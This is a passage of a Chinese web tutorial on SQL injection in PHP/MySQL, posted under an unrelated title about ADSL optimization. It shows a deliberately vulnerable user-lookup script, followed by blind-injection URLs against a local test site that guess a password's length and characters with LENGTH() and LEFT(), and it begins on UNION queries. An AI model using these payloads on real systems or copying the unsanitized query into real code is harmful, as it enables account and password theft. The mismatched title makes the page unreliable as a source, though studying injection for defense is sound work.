手把手教你优化ADSL

来源:网络 作者:admin 阅读: 字体:[ ] [打印] [关闭]
自定义标签 wzsp 未创建

内容提要:ADSL的优化原理与普通Modem相同,同样是对操作系统的网络设置做修改,使操作系统网络设置上更能充分发挥其应有的效率。而修改主要是修改Maxmtu,也就是修改最大的TCP/IP数据包大小,在TCP/IP协议中,将要传输的数据分 ……

sql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

$sql = "SELECT * FROM user WHERE username=''$username''";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);

if (!$row)
{
echo "该记录不存在";
echo "<p>SQL Query:$sql<p>";
exit;
}

echo "你要查询的用户ID是:$row[userid]\n";
echo "<p>SQL Query:$sql<p>";
?>


当我们提交的用户名为真时,就会正常返回用户的ID,如果为非法参数就会提示相应的错误,由于是查询用户资料,我们可以大胆猜测密码就存在这个数据表里(现在我还没有碰见过密码是单独存在另一个表的程序),记得刚才的身份验证程序吗?和现在的相比,就少了一个AND条件,如下:

SELECT * FROM user WHERE username=''$username'' AND password=''$password''
SELECT * FROM user WHERE username=''$username''


相同的就是当条件为真时,就会给出正确的提示信息,如果我们构造出后面的AND条件部分,并使这部分为真,那我们的目的也就达到了,还是利用刚才建立的user数据库,用户名为angel,密码为mypass,
看了上面的例子,应该知道构造了吧,如果我们提交:

http://127.0.0.1/injection/user.php?username=ang ... sp;password=''mypass


这个是绝对为真的,因为我们这样提交上面的SQL语句变成了下面的样子:

SELECT * FROM user WHERE username=''angel'' AND password=''mypass''


但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们就开始探测密码了,首先获取密码长度:

http://127.0.0.1/injection/user.php?username=angel ... ;LENGTH(password)=''6


在ACCESS 中,用LEN()函数来获取字符串长度,在MYSQL中,要使用LENGTH(),只要没有构造错误,也就是说SQL语句能正常执行,那返回结果无外乎两种,不是返回用户ID,就是返回"该记录不存在"。当用户名为angel并且密码长度为6的时候返回真,就会返回相关记录,是不是和ASP里一样?再用 LEFT()、RIGHT()、MID()函数猜密码:

http://127.0.0.1/injection/user.php?userna ... sp;and LEFT(password,1)=''m
http://127.0.0.1/injection/user.php?userna ... sp;and LEFT(password,2)=''my
http://127.0.0.1/injection/user.php?userna ... sp;and LEFT(password,3)=''myp
http://127.0.0.1/injection/user.php?userna ... sp;and LEFT(password,4)=''mypa
http://127.0.0.1/injection/user.php?userna ... sp;and LEFT(password,5)=''mypas
http://127.0.0.1/injection/user.php?userna ... sp;and LEFT(password,6)=''mypass


看,密码不是出来了吗?简单吧?当然实际情况会有不少条件限制,下面还会讲到这个例子的深入应用。

② 跨表查询
这部分就和ASP有点出入了,除了一定要用UNION连接两条SQL语句,最难掌握的就是字段的数量,如果看过MYSQL参考手册,就知道了在  SELECT 中的 select_expression (select_expression 表示你希望检索的列[字段]) 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。简单的说,也就是UNION后面查选的字段数量、字段类型都应该与前面的 SELECT一样,而且,如果前面的SELECT为真,就同时返回

上一页12345678910111213下一页
[标签: 手把手教你优化ADSL] [打印] [关闭]
站长评论(0) 查看所有评论
相关新闻

热门新闻

推荐新闻